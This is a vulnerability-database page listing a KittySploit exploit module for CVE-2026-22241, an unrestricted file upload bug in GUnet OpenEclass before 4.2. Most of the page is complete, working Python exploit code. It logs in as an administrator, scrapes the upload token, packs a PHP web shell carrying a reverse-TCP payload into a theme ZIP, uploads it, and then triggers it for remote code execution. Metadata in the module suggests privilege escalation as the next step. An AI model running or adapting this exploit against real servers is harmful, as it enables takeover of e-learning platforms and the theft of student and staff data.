Lucene search
+L

GUnet OpenEclass < 4.2 - Remote Code Execution (RCE)

🗓️ 02 May 2026 21:27:51Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 4 Views

Authenticated administrator can achieve RCE on GUnet OpenEclass via malicious theme upload.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2026-22241
8 Jan 202616:03
–circl
cnnvd
CNNVD
Open eClass 安全漏洞
8 Jan 202600:00
–cnnvd
cve
CVE
CVE-2026-22241
8 Jan 202615:07
–cve
cvelist
Cvelist
CVE-2026-22241 Open eClass has Unrestricted File Upload that Leads to Remote Code Execution (RCE)
8 Jan 202615:07
–cvelist
exploitdb
Exploit DB
GUnet OpenEclass E-learning platform < 4.2 - Remote Code Execution (RCE)
29 Apr 202600:00
–exploitdb
euvd
EUVD
EUVD-2026-1672
8 Jan 202615:07
–euvd
kitploit
Kitploit
CVE-2026-22241
9 Oct 202603:00
–kitploit
kitploit
Kitploit
CVE-2026-22241
15 Oct 202616:28
–kitploit
kitploit
Kitploit
CVE-2026-22241
12 Oct 202620:38
–kitploit
kittysploit
KittySploit
OpenEclass RCE (CVE-2026-22241) Detection
2 May 202621:27
–kittysploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from bs4 import BeautifulSoup
import zipfile
import tempfile
import os
import warnings
from io import BytesIO

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


class Module(Exploit, Http_client):

    __info__ = {
        "name": "GUnet OpenEclass < 4.2 - Remote Code Execution (RCE)",
        "description": "CVE-2026-22241 - OpenEclass Unrestricted File Upload RCE via malicious theme upload. "
                       "This module exploits a vulnerability where an authenticated administrator can upload "
                       "a ZIP file containing a PHP web shell, which is then extracted to a predictable location.",
        "author": ["Kittysploit Team"],
        "cve": ["CVE-2026-22241"],
        "arch": [Arch.PHP],
        "platform": Platform.MULTI,
        "category": "singles",
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": "singles",
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }

    username = OptString("admin", "Admin username", required=True)
    password = OptString("admin", "Admin password", required=True)

    def check(self):
        """
        Check if target is OpenEclass
        """
        try:
            response = self.http_request(method="GET", path="/")
            if response:
                content = response.text.lower()
                if 'openeclass' in content or 'open eclass' in content:
                    return {
                        'vulnerable': True,
                        'reason': 'OpenEclass detected',
                        'confidence': 'medium'
                    }
            return {
                'vulnerable': False,
                'reason': 'OpenEclass not detected',
                'confidence': 'low'
            }
        except Exception as e:
            return {
                'vulnerable': False,
                'reason': f'Check failed: {str(e)}',
                'confidence': 'low'
            }

    def run(self):
        """
        Execute the exploit
        """
        try:
            print_status(f"CVE-2026-22241 - OpenEclass < 4.2 RCE")
            print_status(f"Target: {self.target}:{self.port}")

            # Step 1: Login
            print_status("Sending login request...")
            login_url = "/?login_page=1"
            login_payload = {
                'next': '/main/portfolio.php',
                'uname': self.username,
                'pass': self.password,
                'submit': 'Enter'
            }
            
            # Kittysploit's http_client manages sessions if session=True
            response = self.http_request(
                method="POST",
                path=login_url,
                data=login_payload,
                session=True,
                allow_redirects=True
            )

            if not response or self.username not in response.text:
                # Basic check if login worked - might need adjustment based on real OpenEclass responses
                print_error("Login failed! Please check your credentials.")
                return False

            print_success(f"Successfully logged in as {self.username}")

            # Step 2: Get CSRF token (if applicable) or verify admin access
            print_status("Retrieving upload token...")
            token_page = self.http_request(
                method="GET",
                path="/modules/admin/theme_options.php",
                session=True
            )

            if not token_page or token_page.status_code != 200:
                print_error("Failed to access theme options page. Are you sure you have admin rights?")
                return False

            soup = BeautifulSoup(token_page.text, 'html.parser')
            token_input = soup.select_one('input[name="token"]')
            
            if not token_input:
                print_error("Failed to extract upload token.")
                return False
            
            upload_token = token_input['value']
            print_info(f"Retrieved token: {upload_token}")

            # Step 3: Create and upload malicious zip file
            print_status("Creating malicious zip file...")
            shell_name = self.random_text(8) + ".php"
            zip_filename = self.random_text(8) + ".zip"
            
            # Using temporary directory for zip creation
            temp_dir = tempfile.mkdtemp()
            zip_path = os.path.join(temp_dir, zip_filename)

            try:
                # Prepare PHP shell content
                # We wrap the framework payload in PHP tags
                shell_content = f"<?php\n{self.payload}\n?>"
                
                with zipfile.ZipFile(zip_path, 'w') as zipf:
                    zipf.writestr(shell_name, shell_content.encode())
                
                print_status(f"Uploading {zip_filename} containing {shell_name}...")
                
                with open(zip_path, 'rb') as f:
                    file_content = f.read()
                
                files = {
                    'themeFile': (zip_filename, BytesIO(file_content), 'application/zip'),
                    'import': (None, ''),
                    'token': (None, upload_token)
                }
                
                upload_response = self.http_request(
                    method="POST",
                    path="/modules/admin/theme_options.php",
                    files=files,
                    session=True
                )

                if not upload_response or upload_response.status_code != 200:
                    print_error("Failed to upload the payload.")
                    return False

                print_success("Payload uploaded successfully!")

                # Step 4: Trigger the shell
                # Based on the PoC, the file is extracted to /courses/theme_data/{filename}
                shell_path = f"/courses/theme_data/{shell_name}"
                print_status(f"Triggering shell at {shell_path}...")
                
                # We trigger it with a GET request
                self.http_request(
                    method="GET",
                    path=shell_path,
                    session=True,
                    timeout=5 # Short timeout as it might be a reverse shell
                )
                
                print_success("Exploit finished. Check your listener if using a reverse shell.")
                return True

            finally:
                # Cleanup
                if os.path.exists(zip_path):
                    os.remove(zip_path)
                if os.path.exists(temp_dir):
                    os.rmdir(temp_dir)

        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.17.2
CVSS 48.6
EPSS0.03262
SSVC
4